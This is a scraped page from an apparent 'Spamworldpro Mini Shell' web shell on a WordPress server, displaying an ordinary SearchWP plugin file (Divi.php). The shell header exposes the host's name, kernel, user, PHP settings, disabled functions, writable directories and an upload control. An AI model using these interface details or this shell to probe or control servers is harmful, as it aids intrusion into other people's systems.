Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/plugins/searchwp/includes/Integrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/plugins/searchwp/includes/Integrations/Divi.php
<?php

/**
 * SearchWP Divi.
 *
 * @package SearchWP
 * @author  Jon Christopher
 */

namespace SearchWP\Integrations;

/**
 * Class Divi is responsible for customizing SearchWP's Native implementation to work with Divi queries.
 *
 * @since 4.1.5
 */
class Divi extends PageBuilder {

	/**
	 * Name used for canonical reference to Integration.
	 *
	 * @since 4.1.5
	 * @var   string
	 */
	protected $name = 'divi';

	public function __construct() {
		// Divi needs this to run every time.
		$this->run_once = false;

		$this->modify_native_behavior();
	}

	/**
	 * Prevent \SearchWP\Native from being strict to is_main_query()
	 *
	 * @since 4.1.8
	 * @param boolean $strict
	 * @param \WP_Query $query
	 * @return boolean
	 */
	public function strict( $strict, $query ) {
		$strict = false;

		// Prevent this from happening again.
		if ( $this->run_once ) {
			remove_filter( 'searchwp\native\strict', [ $this, 'strict' ], 990 );
		}

		return $strict;
	}
}

Spamworldpro Mini